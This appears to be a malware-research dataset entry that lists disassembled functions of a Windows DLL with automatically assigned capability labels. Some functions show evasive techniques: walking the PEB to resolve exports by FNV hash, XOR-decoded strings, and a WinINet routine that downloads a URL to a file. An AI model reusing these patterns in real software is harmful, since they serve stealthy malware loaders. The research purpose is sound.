joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000e140
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
push r13
push r14
push r15
mov qword [rsp + 0x28], rbp
xor r10d, r10d
mov qword [rsp + 0x30], rsi
mov rbx, rdx
mov qword [rsp + 0x38], rdi
mov rax, rcx
mov qword [rsp + 0x40], r12
mov r14d, r10d
lea r15, [0x180000000]
mov r13, rax
test rbx, rbx
je 0x18000e180
cmp rax, rbx
jae 0x18000e32c
movzx r8d, byte [rax]
test r8b, r8b
je 0x18000e32c
mov r11d, r10d
mov ecx, r8d
shr rcx, 3
mov rdx, rbx
movsx r9, byte [rcx + r15 + 0x8aa08]
test r9d, r9d
sete r11b
add r11d, r9d
test rbx, rbx
jne 0x18000e1b8
movsxd rdx, r11d
add rdx, rax
cmp rax, rdx
lea rcx, [rax + 1]
mov edi, r8d
cmovae edi, r10d
cmp rcx, rdx
jae 0x18000e1d1
movzx r12d, byte [rcx]
jmp 0x18000e1d4
xor r12b, r12b
lea rcx, [rax + 2]
cmp rcx, rdx
jae 0x18000e1e2
movzx ebp, byte [rcx]
jmp 0x18000e1e5
xor bpl, bpl
lea rcx, [rax + 3]
cmp rcx, rdx
jae 0x18000e1f3
movzx esi, byte [rcx]
jmp 0x18000e1f6
xor sil, sil
lea r9, [r9*4]
movzx ecx, dil
mov r15d, dword [r9 + r15 + 0x8aa28]
and r15d, ecx
movzx r8d, r12b
shl r15d, 6
mov ecx, r8d
and ecx, 0x3f
movzx edx, bpl
or r15d, ecx
movzx r10d, sil
shl r15d, 6
mov ecx, edx
and ecx, 0x3f
and edx, 0xc0
or r15d, ecx
and r8d, 0xc0
mov ecx, r10d
shl r15d, 6
and ecx, 0x3f
shr r10d, 2
or r10d, edx
or r15d, ecx
shr r10d, 2
lea rcx, [0x180000000]
mov ecx, dword [r9 + rcx + 0x8aa58]
or r10d, r8d
shr r15d, cl
lea rcx, [0x180000000]
shr r10d, 2
mov edx, r15d
cmp r15d, dword [r9 + rcx + 0x8aa40]
sbb ecx, ecx
and edx, 0xfffff800
and ecx, 0x40
xor r8d, r8d
or r10d, ecx
mov ecx, 0x80
cmp edx, 0xd800
cmove r8d, ecx
xor edx, edx
or r10d, r8d
mov ecx, 0x100
cmp r15d, 0xffff
cmova edx, ecx
lea rcx, [0x180000000]
mov ecx, dword [r9 + rcx + 0x8aa70]
or r10d, edx
xor r10d, 0x2a
sar r10d, cl
test r10d, r10d
je 0x18000e316
xor r10d, r10d
test dil, dil
mov eax, r10d
mov ecx, r10d
setne cl
test sil, sil
setne al
add ecx, eax
mov eax, r10d
test bpl, bpl
setne al
add ecx, eax
mov eax, r10d
test r12b, r12b
setne al
add ecx, eax
cmp r11d, ecx
cmovl ecx, r11d
movsxd rax, ecx
add rax, r13
inc r14d
jmp 0x18000e168
movsxd rcx, r11d
add rax, rcx
test r15d, r15d
je 0x18000e32c
xor r10d, r10d
inc r14d
jmp 0x18000e168
mov r12, qword [rsp + 0x40]
mov eax, r14d
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
pop r15
pop r14
pop r13
pop rbx
ret
Function at 0x18000e3a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x30
movsxd rax, edx
mov rdi, rcx
dec rax
mov qword [r11 + 0x18], rbp
mov rbp, r9
xor r9d, r9d
lea rax, [rcx + rax*2]
mov qword [rsp + 8], rax
cmp rcx, rax
jae 0x18000e5c9
mov qword [r11 + 0x20], rsi
lea rsi, [0x180000000]
mov qword [r11 + 0x10], rbx
mov qword [r11 - 0x10], r12
mov qword [r11 - 0x18], r13
mov qword [r11 - 0x20], r14
mov qword [r11 - 0x28], r15
mov qword [rsp], r8
test rbp, rbp
je 0x18000e402
cmp r8, rbp
jae 0x18000e5a6
movzx edx, byte [r8]
test dl, dl
je 0x18000e5a6
mov eax, edx
mov rcx, rbp
shr rax, 3
movsx r9, byte [rax + rsi + 0x8aa08]
xor eax, eax
test r9d, r9d
mov ebx, eax
sete bl
add ebx, r9d
test rbp, rbp
jne 0x18000e438
movsxd rcx, ebx
add rcx, r8
cmp r8, rcx
mov r14d, edx
cmovae r14d, eax
lea rax, [r8 + 1]
cmp rax, rcx
jae 0x18000e451
movzx r13d, byte [rax]
jmp 0x18000e454
xor r13b, r13b
lea rax, [r8 + 2]
cmp rax, rcx
jae 0x18000e463
movzx r12d, byte [rax]
jmp 0x18000e466
xor r12b, r12b
lea rax, [r8 + 3]
cmp rax, rcx
jae 0x18000e475
movzx r15d, byte [rax]
jmp 0x18000e478
xor r15b, r15b
lea r10, [r9*4]
movzx eax, r14b
mov esi, dword [r10 + rsi + 0x8aa28]
and esi, eax
movzx r9d, r13b
shl esi, 6
mov eax, r9d
and eax, 0x3f
movzx edx, r12b
or esi, eax
movzx r11d, r15b
shl esi, 6
and r9d, 0xc0
mov eax, edx
and edx, 0xc0
and eax, 0x3f
or esi, eax
mov eax, r11d
shr r11d, 2
and eax, 0x3f
or r11d, edx
shl esi, 6
or esi, eax
shr r11d, 2
or r11d, r9d
lea rax, [0x180000000]
mov ecx, dword [r10 + rax + 0x8aa58]
shr r11d, 2
shr esi, cl
mov ecx, 0x100
cmp esi, dword [r10 + rax + 0x8aa40]
sbb eax, eax
xor r9d, r9d
and eax, 0x40
mov edx, r9d
or r11d, eax
mov eax, esi
and eax, 0xfffff800
cmp eax, 0xd800
mov eax, 0x80
cmove edx, eax
mov eax, r9d
or r11d, edx
cmp esi, 0xffff
cmova eax, ecx
lea rcx, [0x180000000]
mov ecx, dword [r10 + rcx + 0x8aa70]
or r11d, eax
xor r11d, 0x2a
sar r11d, cl
test r11d, r11d
je 0x18000e583
test r14b, r14b
mov eax, r9d
mov ecx, r9d
mov esi, 0xfffd
setne cl
test r15b, r15b
setne al
add ecx, eax
mov eax, r9d
test r12b, r12b
setne al
add ecx, eax
mov eax, r9d
test r13b, r13b
setne al
add ecx, eax
cmp ebx, ecx
cmovl ecx, ebx
movsxd r8, ecx
add r8, qword [rsp]
jmp 0x18000e58d
movsxd rax, ebx
add r8, rax
test esi, esi
je 0x18000e5a6
mov word [rdi], si
add rdi, 2
lea rsi, [0x180000000]
cmp rdi, qword [rsp + 8]
jb 0x18000e3f0
mov rcx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x10]
mov r14, qword [rsp + 0x18]
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
mov word [rdi], r9w
test rax, rax
je 0x18000e5df
mov qword [rax], r8
sub rdi, rcx
sar rdi, 1
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x1800103b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5bf0], 0
lea rbx, [rcx + 0x5bf8]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x180010457
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x18001040a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18001e580
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.18001e090
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5bf0]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c00]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x180393840]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18001045f
mov rcx, rbx
call fcn.18001e090
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x180015610
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x180393838]
lea rdx, [0x180089e70]
mov r8d, ecx
mov rbx, qword [rax + 0x3ea0]
add rbx, 0xd0
movsxd r9, dword [rbx]
mov rax, qword [rbx + 8]
mov edi, dword [rax + r9*4 - 4]
not edi
movzx eax, r8b
mov r8d, dword [rbx + 4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [rdx + rcx*4]
not edi
cmp r9d, r8d
jne 0x1800156c7
lea ecx, [r9 + 1]
test r8d, r8d
je 0x1800156b3
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x1800156b8
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.18001e6c0
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180018ce0
Capabilities:
Write file on windows

Disassembly:
push r14
push r15
sub rsp, 0x28
mov rax, qword [0x180393838]
xor r15d, r15d
mov r14, rcx
mov dword [rax + 0x5b54], r15d
test rcx, rcx
je 0x180018e10
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x20], rdi
mov rdi, qword [0x180393838]
lea rbx, [rdi + 0x5b58]
mov dword [rdi + 0x5b54], r15d
mov ecx, dword [rbx + 4]
test ecx, ecx
jns 0x180018d4e
mov eax, ecx
cdq
sub eax, edx
mov edx, r15d
sar eax, 1
add eax, ecx
mov rcx, rbx
test eax, eax
cmovg edx, eax
call fcn.18001e580
mov dword [rbx], r15d
cmp dword [rbx + 4], r15d
jne 0x180018d64
mov edx, 8
mov rcx, rbx
call fcn.18001e580
movsxd rcx, dword [rbx]
mov ebp, r15d
mov rax, qword [rbx + 8]
mov byte [rcx + rax], r15b
inc dword [rbx]
cmp dword [rdi + 0x5b68], r15d
jle 0x180018da5
mov rsi, r15
mov r9, qword [rdi + 0x5b70]
mov r8, rbx
add r9, rsi
mov rcx, rdi
mov rdx, r9
call qword [r9 + 0x38]
inc ebp
add rsi, 0x48
cmp ebp, dword [rdi + 0x5b68]
jl 0x180018d80
mov eax, dword [rbx]
lea rdx, [0x18008b3d8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5b60]
cmove ecx, r15d
lea rdi, [0x180393840]
test rax, rax
movsxd rsi, ecx
mov rcx, r14
cmovne rdi, rax
call fcn.18000da30
mov rbp, qword [rsp + 0x48]
mov rbx, rax
test rax, rax
je 0x180018e01
mov r9, rax
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
pop r15
pop r14
ret
Function at 0x18001cae0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push r14
sub rsp, 0x20
mov rbx, qword [0x180393838]
cmp byte [rbx + 0x5b51], 0
jne 0x18001cc3a
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x18001cc33
lea rdx, [0x18008b3d4]
mov qword [rsp + 0x40], rdi
call fcn.18000da30
mov rdi, rax
test rax, rax
je 0x18001cc2e
mov qword [rsp + 0x30], rbp
mov rcx, rax
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x18001cc1b
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18001cc1b
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x18001cc1b
xor r8d, r8d
mov edx, ebp
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18001cc1b
cmp rsi, 0xffffffffffffffff
je 0x18001cc1b
mov rax, qword [0x180393838]
test rax, rax
je 0x18001cba5
inc dword [rax + 0xf4]
mov rdx, qword [0x180393848]
mov rcx, rsi
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x18001cc1b
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rdi
cmp rax, rsi
je 0x18001cbe1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x18001cbf7
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x18001cbf7
mov rdx, rsi
mov rcx, rbp
call fcn.18000fee0
mov rax, qword [0x180393838]
test rax, rax
je 0x18001cc09
dec dword [rax + 0xf4]
mov rdx, qword [0x180393848]
mov rcx, rbp
call qword [0x180116010]
jmp 0x18001cc24
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov byte [rbx + 0x5b51], 1
movss xmm0, dword [rbx + 0x5b54]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x18001cc7d
subss xmm0, dword [rbx + 0x18]
comiss xmm1, xmm0
movss dword [rbx + 0x5b54], xmm0
jb 0x18001cc7d
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x18001cc6c
call fcn.180018ce0
jmp 0x18001cc73
mov byte [rbx + 0xdc], 1
mov dword [rbx + 0x5b54], 0
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18002fa80
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rbp, rdx
mov rsi, rcx
call fcn.18000cfd0
mov ecx, 0x78
mov rdi, rax
call fcn.1800104a0
xor edx, edx
mov qword [rsp + 0x60], rax
mov rbx, rax
test rax, rax
je 0x18002fae7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
movups xmmword [rbx + 0x60], xmm0
mov qword [rbx + 0x70], rax
mov dword [rbx + 0x70], 0x1388
mov dword [rbx + 0x74], 0x2710
jmp 0x18002faea
mov rbx, rdx
movdqa xmm0, xmmword [str._:__3]
mov rcx, rdx
movdqu xmmword [rsp + 0x28], xmm0
mov qword [rdi + 0x98], rbx
mov byte [rsp + 0x38], 1
nop word [rax + rax]
lea eax, [rcx + 0x56]
xor byte [rsp + rcx + 0x28], al
inc rcx
cmp rcx, 0xf
jb 0x18002fb10
or dword [rdi + 4], 8
lea rax, [rsp + 0x28]
mov qword [rdi + 0x88], rax
lea r8, [rsp + 0x70]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x20], rdx
lea rdx, [0x18008f2a0]
call qword [rax]
test eax, eax
jne 0x18002fb9d
mov rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x78]
lea rdx, [0x18008f2b0]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x18002fb9d
mov rcx, qword [rsp + 0x78]
lea r8, [rsp + 0x20]
lea rdx, [0x18008f2c0]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x18002fb9d
mov qword [rbx], rsi
mov qword [rbx + 8], rbp
mov rax, qword [rsp + 0x20]
mov qword [rbx + 0x10], rax
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x18002fbad
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x18002fbbd
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rsp + 0x68]
mov al, 1
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800309d0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
call fcn.18000cfd0
lea rcx, [rsp + 0x60]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x180030ab2
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x180030ab2
mov ecx, 0x30
call fcn.1800104a0
xor ecx, ecx
mov qword [rsp + 0x58], rax
mov rdx, rax
test rax, rax
je 0x180030a34
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
jmp 0x180030a37
mov rdx, rcx
movdqa xmm0, xmmword [str._5__2]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rbx + 0x90], rdx
mov word [rsp + 0x30], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x57]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x10
jb 0x180030a60
or dword [rbx + 4], 6
lea rax, [rsp + 0x20]
mov qword [rbx + 0x80], rax
mov qword [rdx], rdi
mov rax, qword [rsp + 0x60]
mov qword [rdx + 0x20], rax
mov rax, qword [rsp + 0x68]
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x28], 9
call fcn.18000d230
mov qword [rax + 0x28], rdi
mov al, 1
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rbx, qword [rsp + 0x50]
xor al, al
add rsp, 0x40
pop rdi
ret
Function at 0x180032330
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
sub rsp, 0x20
mov rax, qword [0x180393920]
mov ebp, ecx
test rax, rax
jne 0x180032412
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800323e4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800323e4
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x30789eab
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1800323df
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1800323c0
cmp edx, 0x8135ced1
je 0x180032421
test r8d, r8d
jne 0x1800323a0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800323fa
cmp qword [rax + 0x30], 0
jne 0x180032370
xor eax, eax
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov qword [0x180393920], rax
mov ecx, ebp
call rax
shr eax, 0xf
and al, 1
add rsp, 0x20
pop rbp
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1800323fc

Function at 0x180032e70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x180393838]
mov rcx, qword [rax + 0x4ad0]
mov r10, qword [rax + 0x3ea0]
movsxd rax, dword [rcx + 0x7c]
movups xmm0, xmmword [rcx + 0x170]
movss xmm4, dword [rcx + 0x170]
movss xmm3, dword [rcx + 0x174]
movss xmm2, dword [rcx + 0x178]
movss xmm1, dword [rcx + 0x17c]
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
imul r9, rax, 0x68
mov rax, qword [r10 + 0x278]
add r9, qword [rcx + 0x18]
movups xmmword [r10 + 0x218], xmm0
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x278]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, byte [r9 + 0x57]
mov rdx, qword [r10 + 0x278]
mov rcx, qword [rcx + 0x1a0]
add rsp, 0x38
jmp 0x1800270d0
Function at 0x180032f40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x180393838]
mov rcx, qword [rax + 0x4ad0]
mov r9, qword [rax + 0x3ea0]
movups xmm0, xmmword [r9 + 0x218]
movups xmmword [rcx + 0x170], xmm0
mov rax, qword [r9 + 0x278]
movups xmm0, xmmword [rcx + 0x150]
movss xmm4, dword [rcx + 0x150]
movss xmm3, dword [rcx + 0x154]
movss xmm2, dword [rcx + 0x158]
movss xmm1, dword [rcx + 0x15c]
movups xmmword [r9 + 0x218], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x278]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, byte [rcx + 0x207]
mov rcx, qword [rcx + 0x1a0]
mov rdx, qword [r9 + 0x278]
add rsp, 0x38
jmp 0x1800270d0
Function at 0x1800558a0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x18005596c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x18005596c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x180055985
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x18005595c
cmp byte [rax], 0x5c
jne 0x180055956
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x180055956
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x180055942
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x180055953
test r8b, 0x10
jne 0x180055956
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x180055956
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.1800586b0
test edi, edi
jne 0x1800558c0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
mov rcx, rbx
call fcn.180056d80
int3
Function at 0x180059170
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1800591a4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x180059190
ret
Function at 0x180068ac0
Capabilities:
Create http request
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x440
mov rbx, rdx
mov dword [rsp + 0x30], 0xabbbaff2
mov rdi, rcx
mov dword [rsp + 0x34], 0xe9a4a8af
mov dword [rsp + 0x38], 0xf9e6f2
xor eax, eax
mov byte [rsp + 0x3c], 1
nop word [rax + rax]
lea ecx, [rax - 0x41]
xor byte [rsp + rax + 0x30], cl
inc rax
cmp rax, 0xb
jb 0x180068b00
xor r9d, r9d
mov byte [rsp + 0x3c], 0
xor r8d, r8d
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x180068bec
mov qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x400100
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x180068be3
lea rdx, [0x1801036e0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x180068bda
mov dword [rsp + 0x460], 0
nop dword [rax]
lea r9, [rsp + 0x460]
mov r8d, 0x400
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rsp + 0x460]
lea rcx, [rsp + 0x40]
mov r9, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp dword [rsp + 0x460], 0
ja 0x180068b90
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret